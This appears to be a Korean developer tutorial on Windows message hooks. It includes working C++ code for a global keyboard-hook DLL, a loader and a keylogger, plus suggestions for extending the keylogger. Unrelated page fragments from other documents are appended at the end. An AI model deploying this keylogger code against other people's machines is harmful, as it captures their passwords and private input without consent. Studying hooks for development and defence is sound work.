Microsoft Word - hook1.doc

Size: px
Start display at page:

Download "Microsoft Word - hook1.doc"

Transcription

1 개발자를위한윈도우후킹테크닉 키보드모니터링프로그램만들기 후킹이란다른프로세스의실행경로를가로채는것을말한다. 윈도우프로그래머들이밥먹듯이하는서브클래싱 ( 윈도우메시지핸들러를가로채서컨트롤의기능을확장하는방법 ) 도후킹의한종류라할수있다. 이번강좌는 Windows Hook 을하는함수들을소개하고, 그것들을이용해서키로거를만들어본다. 목차 목차...1 필자소개...1 연재가이드...2 연재순서...2 필자메모...2 Introduction...3 후킹과훅체인...3 메모리공간의분리...4 SetWindowsHookEx...5 UnhookWindowsHookEx...7 CallNextHookEx...8 후킹을해보자...9 키보드후킹 공유세그먼트 키로거 도전과제 참고자료 필자소개 신영진 pop@jiniya.net 부산대학교정보, 컴퓨터공학부 4 학년에재학중이다. 모자란학점을다채워서졸업하는것이꿈이되버린소박한괴짜프로그래머. 병역특례기간을포함해서최근까지다수의보안프로그램개발에참여했으며, 최근에는모짜르트에심취해있다.

2 연재가이드 운영체제 : 윈도우 2000/XP 개발도구 : 마이크로소프트비주얼스튜디오 2003 기초지식 : C/C++, Win32 프로그래밍응용분야 : 키로거, 키보드훅프로그램 연재순서 키보드모니터링프로그램만들기 마우스훅을통한화면캡쳐프로그램제작 메시지훅이용한 Spy++ 흉내내기 SendMessage 후킹하기 Spy++ 클론 imspy 제작하기 저널훅을사용한매크로제작 WH_SHELL 훅을사용해다른프로세스윈도우서브클래싱하기 WH_DEBUG 훅을이용한훅탐지방법 OutputDebugString 의동작원리 필자메모 프로그램을개발한다면가끔고객들에게황당한요구를받기도한다. 그중일부는진짜황당한경우도있고, 더러는개발자가특정기술을모르기때문에발생하기도한다. 아래와같은요구사항에당황한적이있다면지금후킹이라는테크닉을여러분의도구상자로넣어야할때이다. 다른프로세스에서발생하는마우스이벤트를가지고뭔가작업을해야할때. 소프트아이스와같이 Ctrl + D 를눌렀을때, 근사한자신의다이얼로그를띄우고싶을때. 다른프로세스의특정윈도우를서브클래싱해야할때. 다른프로세스로전달되는메시지를모니터링하고싶을때. 완성된다른프로그램에특수한기능을추가해야할때. 위에서열거한것은지극히기본적인메시지훅과관련된내용들이다. 하지만위와같은 고객의요구에당황한적이있고, 위와같은문제로게시판을두드린적이있다면이번 강좌가분명히여러분에게도움이될것이다. 2/20 페이지

3 Introduction 후킹은그종류가너무도많다. 후킹을하는대상에따라서메시지후킹, API 후킹, 네이티브 API 후킹, 인터럽트후킹등이있다. 또한디바이스드라이버의필터드라이버도후킹의일종이라고할수있다. 우리가이번강좌에서살펴볼영역은메시지후킹이다. 이는 SetWindowsHookEx 라는문서화된함수를사용해서다른윈도우를후킹하는기법이다. 우리는앞으로 SetWindowsHookEx 를통해서할수있는다양한형태의후킹을시도해볼것이다. 키보드입력을모니터링하는 WH_KEYBOARD 훅, 마우스이벤트를모니터링하는 WH_MOUSE 훅, PostMessage 로전달된내용의처리과정을모니터링하는 WH_GETMESSAGE 훅, SendMessage 의처리과정을모니터링하는 WH_CALLWNDPROC, WH_CALLWNDPROCRET 훅, 입력이벤트를저장하고재생하는 WH_JOURNALRECORD, WH_JOURNALPLAYBACK 훅, 각종윈도우관련이벤트를통지받을수있는 WH_CBT 훅, 훅프로시저의수행과정을모니터링하는 WH_DEBUG 훅에관해서차례로살펴볼것이다.. 이번강좌에서는키보드후킹을통해서키로거를제작하는방법을배우고, 다음강좌에서는마우스훅을통해서다른윈도우를캡쳐하는프로그램을제작해본다. 후킹과훅체인 Windows 는여러개의프로그램이동시에실행되는멀티태스킹운영체제다. 하지만사용자의입력은언제나한가지윈도우에게만반응한다. 보통사용자의키보드입력과마우스입력이동시에두개의윈도우로전달되는일은없다. Win32 환경에서나의프로세스에속하지않은윈도우에서벌어지는일들을알기란쉽지않다. 이렇게쉽지않은일을가능하게해주는것이후킹이다. 후킹이란무엇인가? 후킹이란무엇인가를가로채는것을말한다. 가장원시적인형태의후킹은특정메모리번지를수정해서다른프로그램의실행흐름을변경시키는것이다. 가장흔한예는점프코드의번지를변경하는것이다. jmp 100 이 100 번지로이동하는코드라고할때, 100 을 200 으로변경하면프로그램의실행경로가바뀐다. 같은원리로윈도우의메시지핸들러주소를변경해서기능들을추가하는서브클래싱도후킹이라할수있다. 서브클래싱에대해서좀더생각해보자. H 라는핸들을가진윈도우가있다. 이윈도우의 메시지핸들러주소는 100 번지이고, 이는메모리의 X 번지에기록되어있다. H 로전달되는 3/20 페이지

4 메시지가있다면운영체제는 X 번지를참조해서해당핸들러를호출한다. 이경우에 핸들러는 100 번지이기때문에 100 번지함수를호출할것이다. H 에추가적인기능을넣기위해서서브클래싱을한다. 새로운메시지핸들러의주소가 200 번지라고가정한다면, 프로그래머는 X 에 200 을쓸것이다. 이제부터운영체제는 100 번지대신 200 번지를호출한다. 200 번지메시지핸들러는원래의기능을유지하기위해서 100 번지메시지핸들러의주소를저장하고있어야한다. 더많은기능을추가하기위해서 H 를다시서브클래싱한다. 새로운메시지핸들러가 300 번지이고위와같은형태로 X 를덮어썼다면메시지핸들러는 300->200->100 의순으로호출된다. 이렇게 300->200->100 의순으로이어지는리스트를훅체인이라고한다. 한개의사슬로연결되어서연쇄적으로호출된다는의미다. 서브클래싱이가장원시적인이유는단순한주소수정만으로후킹이이루어지기때문이다. X 번지에 200 을쓰는순간이전값인 100 은사라진다. 관리는전적으로덮어쓴곳에서해야한다. 300->200->100 과같이훅체인이생성된경우빠져나오는것은쉽지않다. 왜냐하면중간에있는훅프로시저가체인에서빠지면그것을참조하는다른훅프로시저때문에잘못된메모리연산오류가발생한다. 이렇게단순하게구성된훅체인에서훅을제거할때에는항상두가지를체크해야한다. 과연내가지금빠질수있는상황인가? 위의경우에 300 번지는그냥빠질수있는프로시저다. 빠질수없는위치에있다면자신보다나중에훅을수행한프로시저를제거하고빠질것인가? 위에서 200 번지가빠지는상황이라면메시지프로시저를 100 번지로수정하고메모리에서내려간다는의미다. 두가지모두만족되지않는상황이라면해당훅프로시저는메모리에계속있는것이바람직하다. 물론자신의훅프로시저코드는수행하지않음으로써훅이제거된것과동일한결과를연출할수있다. 앞서설명한문제점때문에새롭게개발되는훅들은위와갈은단순한형태로이루어지지않는다. 대다수훅프레임워크는등록, 제거, 다음훅프로시저호출이라는세가지함수를노출시킨다. 이경우는훅체인을중앙에서직접관리하기때문에제거할때문제가생기지않는다. 메모리공간의분리 Win16 환경에서는모든프로세스가같은주소공간에있었다. 이러한시스템에서는한프로세스의오류가다른프로세스로전파되는일이비일비재했었다. 내가버퍼를넘어서 4/20 페이지

5 기록한내용이다음프로세스의주소공간일수도있기때문이다. 이러한문제점을 해결하기위해서 Win32 환경에서는모든프로세스의주소공간을분리시켰다. 이러한이야기를처음듣는사람들은주소공간이분리했다는것이무슨말인지의아해한다. 쉽게설명하면모든프로세스가독립적인 4GB 메모리공간을가진다는것이다. 현재실행중인두개의프로세스 A, B 가있을때, A 의 10 번지주소의내용과 B 의 10 번지주소의내용은동일하지않다는의미다. 즉, 실행프로세스개수 * 4GB 만큼의메모리가있는것같은환경을운영체제가제공해준다는의미다. 메모리공간의분리는운영체제의견고함에는힘을실어줬지만다른프로세스를후킹하는작업은몇곱절더힘들게만들었다. 그래서 Microsoft 에서는좀더편리하게후킹작업을할수있는방법을고안해냈다. SetWindowsHookEx 라는 API 를사용하면해당프로시저가다른프로세스의주소공간으로자동으로초대해주는것이다. SetWindowsHookEx 다른주소공간으로초대받기위한등록작업을하는함수가 SetWindowsHookEx 다. 이함수를사용하면시스템은우리가만든 DLL 을특정상황에다른프로세스의주소공간으로넣어준다. 함수원형은다음과같다. HHOOK SetWindowsHookEx(int idhook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwthreadid); idhook: [ 입력 ] 어떤종류의후킹을할것인지지정한다 (< 표 1> 참고 ). 훅의개략적인 설명을담고있다. 각훅에대한자세한특성은앞으로실습을하면서배울것이다. 표 1 idhook 값의의미값의미 SendMessage 프로시저가처리되기직전시점을모니터링 WH_CALLWNDPROC 한다. WH_CALLWNDPROCRET SendMessage 가처리되고리턴되는시점을모니터링한다. 윈도우생성 / 소멸 / 활성화등의 CBT 기반프로그램에도움이 WH_CBT 될만한정보를통지받을수있다. WH_DEBUG 다른훅프로시저를디버깅하는훅프로시저현재활성화된윈도우스레드가유휴상태가될때를 WH_FOREGROUNDIDLE 감지한다. 5/20 페이지

6 PostMessage 를통해서메시지가메시지큐에들어가는것을 WH_GETMESSAGE 모니터링한다. WH_JOURNALPLAYBACK WH_JOURNALRECORD 를통해서기록된내용을재생한다. WH_JOURNALRECORD 키보드 / 마우스등의입력을기록한다. WH_KEYBOARD 키보드입력내용을모니터링한다. NT/2000/XP: WH_KEYBOARD 보다저수준에서키보드입력 WH_KEYBOARD_LL 내용을모니터링한다. WH_MOUSE 마우스입력내용을모니터링한다. NT/2000/XP: WH_MOUSE 보다저수준에서마우스입력 WH_MOUSE_LL 내용을모니터링한다. 다이얼로그박스, 메뉴, 스크롤바등에서생성되는입력 WH_MSGFILTER 메시지를모니터링한다. WH_SHELL 쉘애플리케이션에유용한정보를통지받는다. 다이얼로그박스, 메뉴, 스크롤바등에서생성되는입력 WH_SYSMSGFILTER 메시지를모니터링한다. 호출한스레드와같은데스크톱상에존재하는모든윈도우의메시지를감시한다. lpfn: [ 입력 ] 후킹프로시저의주소를넣어준다. hmod: [ 입력 ] 후킹프로시저가존재하는모듈핸들을넣어준다. dwthreadid: [ 입력 ] 후킹할스레드의아이디를넣어준다. 이값으로 0 을지정하면시스템내의모든스레드를후킹한다. 리턴값 : 훅핸들. 성공한경우에는적절한훅핸들을넘겨준다. 실패한경우에는 NULL 을리턴한다. 한가지주의해야할점은다른프로세스를후킹하기위해서훅프로시저는반드시 DLL 내부에존재해야한다는것이다. 그래야운영체제가해당 DLL 을다른프로세스에서로드시켜서훅프로시저를호출할수있다. 그리고 DLL 내부에있는훅프로시저가호출되는스레드컨텍스트는훅의종류에따라틀리다. < 표 2> 에훅의종류에따른설치범위와실행컨텍스트가나와있다. 임의의스레드컨텍스트에서실행되는훅은데이터를교환하기위해서 IPC 관련함수들을사용해야한다. 표 2 훅의설치범위와실행컨텍스트 훅 설치범위 실행컨텍스트 WH_CALLWNDPROC 지역, 전역 임의의스레드컨텍스트 WH_CALLWNDPROCRET 지역, 전역 임의의스레드컨텍스트 6/20 페이지

7 WH_CBT 지역, 전역 임의의스레드컨텍스트 WH_DEBUG 지역, 전역 임의의스레드컨텍스트 WH_FOREGROUNDIDLE 지역, 전역 임의의스레드컨텍스트 WH_GETMESSAGE 지역, 전역 임의의스레드컨텍스트 WH_JOURNALPLAYBACK 전역 설치한스레드컨텍스트 WH_JOURNALRECORD 전역 설치한스레드컨텍스트 WH_KEYBOARD 지역, 전역 임의의스레드컨텍스트 WH_KEYBOARD_LL 전익 설치한스레드컨텍스트 WH_MOUSE 지역, 전역 임의의스레드컨텍스트 WH_MOUSE_LL 전역 설치한스레드컨텍스트 WH_MSGFILTER 지역, 전역 임의의스레드컨텍스트 WH_SHELL 지역, 전역 임의의스레드컨텍스트 WH_SYSMSGFILTER 전역 임의의스레드컨텍스트 UnhookWindowsHookEx 후킹을종료하고싶을때에는 UnhookWindowsHookEx 함수를호출하면된다. 이함수의경우사용방법이간단하다. 앞절에서소개한 SetWindowsHookEx 함수를통해리턴받은훅핸들을넣어주면모든일이끝난다. 아래는함수의원형이다. BOOL UnhookWindowsHookEx(HHOOK hhk); hhk: [ 입력 ] 앞에서소개한 SetWindowsHookEx 를통해서리턴받은훅핸들을넣어준다. 리턴값 : 함수가성공한경우에는 TRUE 를, 실패한경우에는 FALSE 를리턴한다. 이함수를사용할때에한가지주의할점은 UnhookWindowsHookEx 를호출하는순간에 다른프로세스로인젝트된 DLL 이모두빠지는것은아니라는점이다. 인젝트된 dll 이 분리되는시점은시스템이결정한다. 이러한문제때문에간혹후킹모듈을테스트하다보면인젝트된 dll 이빠지지않는현상이발생하곤한다. 보통의경우인젝트된프로세스를활성화시키거나종료시키면분리가되는데, 시스템프로세스의경우그것도여의치않은경우가종종있다. 따라서가급적후킹모듈의테스트는개발컴퓨터가아닌다른테스트컴퓨터에서하는것이바람직하다. 테스트컴퓨터가없거나테스트컴퓨터를사용하기가불편한경우라면 Virtual PC 나 vmware 를사용한가상 PC 를통해테스트하는것도좋은방법이다. 7/20 페이지

8 CallNextHookEx 지금과같이멀티태스킹이란개념이발달한운영체제에서는어떠한자원이든혼자서독점하게놓아두지않는다. 후킹도마찬가지다. 시스템에존재하는모든프로세스가자신과마찬가지로후킹할권리가있다. 또한이러한후킹시스템이잘운영될수있도록자신의후킹작업이완료된다음에는반드시다음후킹프로시저에게제어권을넘겨주어야한다. 물론이작업이절대적인것은아니다. 하지않아도된다는의미다. 하지만다른후킹프로시저로제어권을넘겨주지않을경우해당프로시저는호출되지않을것이다. 이럴경우제어권을받지못한프로그램의입장에서는호출되어야할시점에호출이되지않았기때문에오동작할수도있다는점을명심하자. CallNextHookEx 함수는다음훅프로시저에게제어권을넘기는작업을한다. 통상적으로 이함수는훅프로시저의말미에호출한다. LRESULT CallNextHookEx(HHOOK hhk, int ncode, WPARAM wparam, LPARAM lparam); hhk: 무시된다. 간혹예전자료들을참고해보면이핸들을 SetWindowsHookEx 에서리턴받은값으로설정해야하고, 그러기위해서훅핸들을공유메모리등에보관해야한다고나와있다. 이는잘못된정보다. NULL 로지정하도록하자. ncode, wparam, lparam: 이값들은모두후킹프로시저내부로전달된값을그대로넣어주면된다. 리턴값 : 다음후킹프로시저의리턴값이리턴된다. 보통의경우후킹프로시저는여기서리턴되는값을그대로리턴한다. 박스 1 디버그뷰디버그출력은가장원시적이면서효과적인디버깅도구다. 디버그뷰는 OutputDebugString 으로출력하는내용을가로채서보여주는기능을한다. 무료프로그램이며아래주소에서다운로드하면된다. 아직사용해보지않았다면반드시다운받아서사용해보도록하자. 아마도여러분의가장충실한디버깅도구가될것이다. 후킹프로시저를디버깅할때주의해야하는것은디버그뷰가행이걸리는경우가있다는 점이다. 키로거를예로들어보면키보드훅프로시저가디버그출력을가지고있고, 디버그 8/20 페이지

9 뷰위에서키보드를마구누르는경우에종종행이걸린다. 상용후킹프로그램들을리버싱 해보면스레드컨텍스트가디버그뷰인경우에는훅을건너뛰도록작성한제품들을종종 볼수있다. 후킹을해보자 이제우리는윈도우후킹에필요한세가지도구를 -- SetWindowsHookEx, UnhookWindowsHookEx, CallNextHookEx -- 모두갖췄다. 이제이도구를사용해서실제로어떻게후킹을하는지살펴보도록하자. < 리스트 1> 은후킹에일반적으로사용되는코드다. 리스트 1 간단한훅 DLL keyhk.cpp #include <windows.h> #include <strsafe.h> HHOOK g_hhook = NULL; HINSTANCE g_hinst = NULL; BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID /* reserved */) g_hinst = hinst; // 쓰레드통지는받지않는다. if(reason == DLL_PROCESS_ATTACH) DisableThreadLibraryCalls(hInst); return TRUE; // 키보드후킹프로시저 LRESULT CALLBACK KeyHook(int code, WPARAM w, LPARAM l) if(code >= 0) TCHAR buf[80]; StringCbPrintf(buf, sizeof(buf), TEXT("%c"), w); OutputDebugString(buf); return CallNextHookEx(NULL, code, w, l); // 훅프로시저설치 BOOL WINAPI 9/20 페이지

10 InstallHook() BOOL ret = FALSE; if(!g_hhook) g_hhook = SetWindowsHookEx(WH_KEYBOARD, KeyHook, g_hinst, 0); if(g_hhook) ret = TRUE; return ret; // 훅프로시저제거 BOOL WINAPI UninstallHook() BOOL ret = FALSE; if(g_hhook) ret = UnhookWindowsHookEx(g_hHook); if(ret) g_hhook = NULL; return ret; InstallHook 과 UninstallHook 은위에서소개한함수들을사용해서훅의설치와제거를담당하는함수다. DllMain 함수의 DisableThreadLibraryCalls 함수는불필요한 DLL_THREAD_ATTACH, DLL_THREAD_DETACH 통지를받지않도록하는기능을한다. KeyHook 은키보드메시지가발생할때호출되는후킹함수다. 전형적인후킹함수의구조이므로익혀두도록하자. code 가 0 이상인경우만처리해야한다. 후킹 DLL 을만들때마다그것을테스트하는프로그램을만드는것은굉장히성가신일이다. 이러한작업을좀더편하게해주는프로그램이 < 리스트 2> 에나타나있다. 이프로그램은두번째인자로넘어온 DLL 을로드한후 InstallHook 과 UninstallHook 을찾아서호출해주는역할을한다. 리스트 2 범용훅로더프로그램 #include <windows.h> #include <conio.h> 10/20 페이지

11 typedef BOOL (WINAPI *FInstallHook)(); typedef BOOL (WINAPI *FUninstallHook)(); int _tmain(int argc, _TCHAR* argv[]) HINSTANCE inst = NULL; if(argc < 2) goto $cleanup; // DLL 을로드한다. inst = LoadLibrary(argv[1]); if(inst == NULL) goto $cleanup; // DLL 에서후킹함수를찾는다. FInstallHook fninstallhook = (FInstallHook) GetProcAddress(inst, TEXT("InstallHook")); FUninstallHook fnuninstallhook = (FUninstallHook) GetProcAddress(inst, TEXT("UninstallHook")); if(fninstallhook == NULL fnuninstallhook == NULL) goto $cleanup; // 후킹을한다. if(fninstallhook()) printf("press any key to uninstall hook\n"); _getch(); // 사용자의입력이들어온경우후킹을종료한다. fnuninstallhook(); $cleanup: // 라이브러리를해제한다. if(inst) FreeLibrary(inst); return 0; 11/20 페이지

12 화면 1 컴파일후실행하는화면 실제위의프로그램을컴파일해서실행한후디버그뷰를통해서키보드가캡쳐되는지확인해보도록하자. 콘솔창이떠있는상태에서다른윈도우로옮겨간후키보드를입력해보자. 입력하는내용이디버그뷰에나타날것이다. 아래화면과같이다른윈도우에입력하는키보드내용이디버그뷰에나타난다면후킹에성공한것이다. 화면 2 디버그뷰를통해키보드후킹내용을확인하는화면 박스 2 cygwin Windows 의콘솔창은많은발전을이루었음에도아직도조악하기그지없다. 물론몇몇레지스트리를손봐주면못쓸정도로불편하진않지만그래도편리한정도는아니다. 유닉스계열의운영체제를사용해본사람이라면누구나그막강한툴과쉘의능력이그리울수밖에없다. 하지만이것도이제는더이상꿈이아니다. cygwin 을설치하면여러분의 12/20 페이지

13 콘솔창을 bash 로업그레이드할수있다. cygwin 은윈도우환경에서리눅스가동작하도록 각종프로그램을포팅한것이다. 아직여러분의시스템에 cygwin 이설치되지않았다면꼭 설치해보도록하자. cygwin 은 에서구할수있다. cygwin 을처음설치하고실행을하면 Windows 기본콘솔창이뜬다. 다음과같이수정하면 rxvt 를기본터미널로사용할수있다. cygwin 이설치된폴더에있는 cygwin.bat 파일의마지막줄을다음과같이변경한다. 참고로 rxvt 를사용하기위해서는 cygwin 을설치할때 rxvt 를같이설치해야한다. c:\cygwin\bin\rxvt.exe -bg black -sl sr -fg white -fn 돋움체 -mcc -ls -g 90x30 -e /usr/bin/bash --login -i 한글을원할하게사용하기위해서는홈디렉터리에있는 ".inputrc" 파일을수정해야한다. ".inputrc" 파일의마지막부분에아래내용을추가하도록하자. set meta-flag On set convert-meta Off set output-meta On ls 에서한글파일명이깨져서출력되는문제를해결하기위해서는홈디렉터리의 ".bashrc" 파일에있는 alias 내용을아래와같이수정하면된다. alias ls='ls -F --color=auto --show-control-char' 끝으로특정폴더에서 rxvt 를바로실행시키기위해서는아래내용의 reg 파일을만들어서 추가하면된다. 추가한다음폴더에서오른쪽버튼을누르면 "RXVT 실행 " 메뉴가 추가되었음을볼수있을것이다. 그메뉴를선택하면해당폴더에서 rxvt 가실행된다. Windows Registry Editor Version 5.00 실행 " -bg black -sl sr -fg white -fn 돋움체 -mcc -ls -g 90x30 -e /usr/bin/bash --login -i -c 'cd \"`cygpath \"$*\"`\";exec /bin/bash -rcfile ~/.bashrc' bash %L" 13/20 페이지

14 키보드후킹 SetWindowsHookEx 로우리는여러가지종류의후킹을할수있었다. 각각의후킹함수들의파라미터와리턴값은조금씩다른의미를가진다. 따라서후킹을성공적으로하기위해서는각각의후킹함수에대해서정확하게이해할필요가있다. 이번강좌에소개한 WH_KEYBOARD 후킹함수에대해서좀더자세히살펴보도록하자. LRESULT CALLBACK KeyboardProc(int code, WPARAM wparam, LPARAM lparam); code: [ 입력 ] code 값이 0 보다작은경우는훅프로시저를수행하지않고바로 CallNextHookEx 를호출한다음리턴해야한다 (< 표 3> 참고 ). 표 3 code 값의미코드값의미 HC_ACTION wparam 과 lparam 이키보드정보를담고있다. wparam 과 lparam 이키보드정보를담고있다. 이값은메시지큐에서메시지가제거되지않을때 HC_NOREMOVE 설정된다 (PeekMessage 의 PM_NOREMOVE 플래그가설정된경우다 ). wparam: [ 입력 ] 현재키보드입력이벤트를일으킨가상키코드. lparam: [ 입력 ] 키보드입력에대한부가정보. 이정보는비트별로 < 표 4> 에나타난것과 같은의미를가진다. 표 4 lparam 비트별의미비트의미 0-15 반복횟수 스캔코드. 현재눌려진키가확장키인지를의미한다. 24 확장키인경우 1 을, 그렇지않은경우 0 을가진다 예약됨. ALT 키가눌려진상태인경우 1 을, 그렇지않은경우 0 을 29 가진다. 이전키상태. 키가눌려진경우 1 을, 그렇지않은경우 30 0 을가진다. 31 키가눌려진경우 0 을, 그렇지않은경우 1 을가진다. 14/20 페이지

15 리턴값 : code 가 0 보다작은경우는훅프로시저를수행하지않고 CallNextHookEx 를호출한후결과값을리턴해야한다. 그렇지않은경우에도 CallNextHookEx 의호출결과를리턴하는것이좋다. 만약키보드메시지처리를중단하고싶다면 CallNextHookEx 를호출하지않고 0 이아닌값을리턴하면된다. lparam 의경우복잡한비트구조를가지고있다. 이럴경우하나씩비트를계산해서 마스킹하는것보다는비트필드를만들어서참조하는것이간편하다. 위의비트구조를 비트필드로만들어보면아래와같다. typedef struct _KEYINFO unsigned repeatcnt:16; unsigned scancode:8; unsigned extended:1; unsigned reserved:4; unsigned alt:1; unsigned prevpressed:1; unsigned notpressed:1; KEYINFO, *PKEYINFO; // 반복횟수 // 스캔코드 // 확장키 // 예약됨 // Alt // 이전키상태 // 현재키상태 위의정보가정확히어떤때에어떻게사용되는지자세하게알수있는가장좋은방법은 직접파라미터를출력해서확인해보는방법이다. 앞절에서소개한 KeyHook 함수를 아래와같이고쳐서실행해보도록하자. LRESULT CALLBACK KeyHookEx(int code, WPARAM w, LPARAM l) if(code >= 0) TCHAR buf[80]; StringCbPrintf(buf, sizeof(buf), TEXT("W=%08X(%c) L=%08X"), w, w, l); OutputDebugString(buf); return CallNextHookEx(NULL, code, w, l); 키보드훅의경우키보드메시지처리를중단할수있는기능이있다. 중단을시키게되면훅체인의뒤에존재하는훅프로시저와키보드메시지가발생한윈도우는키보드메시지를받지못한다. 위의코드를아래와변형시켜서테스트해보자. 아마 w 키를누른경우는화면에키값이나타나지않을것이다. 15/20 페이지

16 if(code >= 0) TCHAR buf[80]; StringCbPrintf(buf, sizeof(buf), TEXT("W=%08X(%c) L=%08X"), w, w, l); OutputDebugString(buf); if(w == 'W') return TRUE; 후킹프로시저의경우되도록간단하게작성하는것이좋다. 왜냐하면후킹프로시저의경우일반적으로호출되는빈도가높고, 불필요한호출이기때문이다. 결국불필요한부하만시스템에추가하는셈이되기때문이다. 멀티스레딩을사용할때에도멀티스레딩의컨텍스트전환부하보다그것을분산해서처리했을때효과가클때에만사용하는것이좋듯이, 후킹도그것을해서발생하는부하가그것을감수할정도로멋진기능일때에만사용하는것이바람직하다. 하지만어떠한경우건사용자가이러한불필요한부하를느낄정도로후킹프로시저가복잡하다면이는문제가된다. 이정도로느린소프트웨어를사용자는사용하지않을것이기때문이다. 더욱이전역후킹이라면, 시스템전체가느려지기때문에문제가더욱심각하다고할수있다. 이경우엔해당후킹프로시저를단순화할방법을생각하거나아니면후킹의범위를제한할필요가있다. 후킹프로시저의궁극의경지는있는듯없는듯후킹하는것이라는점을명심하자. 공유세그먼트 다른주소공간으로가버린 DLL 과우리는더이상연결할방도가없다. 해당 DLL 이실행되는컨텍스트또한다른프로세스의스레드컨텍스트이기때문이다. 하지만이러한연결방법이없다면후킹 DLL 이의미있는동작을하기란힘들다. 따라서우리는실행모듈과후킹 DLL 사이의정보공유방법을생각해야한다. 여러가지방법이있지만, 가장빠르고쉬운방법은공유세그먼트를사용하는것이다. 이는 DLL 의일부값들을공유세그먼트에저장하는방법을말한다. 공유세그먼트에저장된내용은프로세스의경계를넘어서공유되기때문에그값을변경하면 DLL 이어떤프로세스의주소공간에있건동일한값을볼수있다. #pragma data_seg("shared") HWND g_targetwnd = NULL; 16/20 페이지

17 #pragma data_seg() #pragma comment(linker, "/SECTION:Shared,RWS") 위의코드는공유세그먼트를설정하는방법을보여준다. 첫번째줄은 Shared 라는세그먼트를시작한다는것을알려준다. 이후에선언되는것들은해당세그먼트에저장된다. 세번째줄은원래세그먼트로돌아가라는의미다. 따라서이후에선언되는내용은더이상 Shared 세그먼트에저장되지않는다. 결국위의세줄은 g_targetwnd 를 Shared 세그먼트에저장하는것을지시한다. 네번째줄은 Shared 세그먼트에읽기, 쓰기, 공유속성을지정하는것을의미한다. 위에서지시할수있는값으로읽기 (R), 쓰기 (W), 실행 (E), 공유 (S) 가있다. 여기서한가지주의해야할점은위와같이특정세그먼트에저장하기위해서는반드시초기화를해주어야한다는점이다. 초기화과정이빠질경우컴파일러는해당변수를지정된세그먼트에위치시키지않는다. 위와같이한후컴파일을하면 g_targetwnd 의값은모든프로세스사이에서공유한다. 굉장히간단한방법이다. 하지만이방법의경우장점만있는것은아니다. 다음과같은 단점이있다. 초기화된데이터만들어가므로섹션내의데이터가증가할수록덩달아 DLL 의크기도커진다. 공유데이터섹션이존재하는 DLL 의경우실행압축을적용하기가힘들다. 공유섹션에데이터가존재하기때문에보안상문제가발생할수있다. 변수를공유하기때문에결국프로세스경계에서한곳의문제가다른곳으로전파될수있다. 위와같이많은단점이있지만실행압축이필요없고중요하지않은간단한데이터를 조심스럽게다루는곳이라면충분히사용할가치가있다. 왜냐하면쓰기편하고간단하기 때문이다. 키로거 지금까지설명한내용만으로도충분히좋은키로거를제작할수있을것이다. 필자가제작한것은아주기본적인키로거기능만가진것이다. < 화면 3> 에그실행화면이나타나있다. 17/20 페이지

18 화면 3 초간단키로거실행화면 항상위버튼이. 체크된상태에서는다른윈도우에가려지지않는다. 지우기버튼은 에디터의내용을지워준다. 훅설치버튼을누르면후킹이시작되고, 훅제거버튼을누르면 설치된훅을제거해준다. < 리스트 3> 에키로거에서사용된키보드훅프로시저가나와있다. 키코드를아스키코드로변환하는과정과키로거윈도우로메시지를통해전송하는부분이핵심적인부분이다. 단순히 SendMessage 로메시지를전송할경우키로거윈도우가블록되면 DLL 도같이블록되는문제점이있다. 이러한문제를피하기위해서 SendMessageTimeout 을사용했다. 리스트 3 키보드훅프로시저 LRESULT CALLBACK KeyHookMsg(int code, WPARAM w, LPARAM l) // code 가 0 이상인경우와후킹정보를전송할윈도우가존재하는경우에만후킹프로시저를수행한다. if(code >= 0 && IsWindow(g_targetWnd)) PKEYINFO keyinfo = (PKEYINFO) &l; // 확장키가아니고, alt 가눌려지지않은상태에서, 키를누른경우를검사한다. if(!keyinfo->extended &&!keyinfo->alt &&!keyinfo->notpressed) BYTE keystate[256]; WORD ch=0; 18/20 페이지

19 // 가상키코드를적절한형태의아스키코드로변환한다. Control 키는무시한다. GetKeyboardState(keyState); keystate[vk_control] = 0; if(toascii((uint) w, keyinfo->scancode, keystate, &ch, 0) == 1) // 대상윈도우로키메시지를전송한다. // WPARAM 으로는아스키코드롤, lparam 으로는넘어온키정보값을전송한다. SendMessageTimeout( g_targetwnd, g_callbackmsg, ch, l, SMTO_BLOCK SMTO_ABORTIFHUNG, 50, NULL ); return CallNextHookEx(NULL, code, w, l); 훅프로시저에서 SendMessageTimeout 으로전달한메시지를실제프로그램에서처리하는 부분이 < 리스트 4> 에나와있다. 각종제어문자를확장시킨후버퍼에저장한다. 최종적으로버퍼의내용을에디터끝에추가하면모든작업이마무리된다. 리스트 4 훅메시지핸들러 LRESULT CkeylogDlg::OnKeyMsg(WPARAM w, LPARAM l) CString buf; PKEYINFO keyinfo = (PKEYINFO) &l; // 에디터에추가할내용을 buf 에저장한다. for(unsigned i=0; i<keyinfo->repeatcnt; ++i) switch(w) case VK_BACK: buf += "<BS>"; break; case VK_SPACE: buf += "<SP>"; break; case VK_TAB: buf += "<TAB>"; break; default: 19/20 페이지

20 buf += (TCHAR) w; break; // 에디터의마지막부분에 buf 를추가한다. int len = m_edtkeylog.getwindowtextlength(); m_edtkeylog.setsel(len, len); m_edtkeylog.replacesel(buf); return 0; 도전과제 우리가구현한키로거는가장원시적인형태다. 한단계내공을업그레이드하고싶다면이곳에다음과같은기능을추가하고구현해보자. 프로세스별키로깅내용저장 키메시지가발생한윈도우화면덤프 키메시지가발생한시간출력 특정윈도우만키로깅 WH_KEYBOARD_LL 을사용한키로거제작 저장된키로깅내용재생 참고자료 참고자료 1. " 해킹 / 파괴의광학 " - 김성우저참고자료 2. "Programming Applications for Windows (4/E)" Jeffrey Ritcher 저 20/20 페이지

개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API

개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API 개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로...2 2. 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API 함수소개 SetWindowsHookEx 함수 5 UnhookWindowsHookEx 함수 5

More information

Microsoft Word - hook8.doc

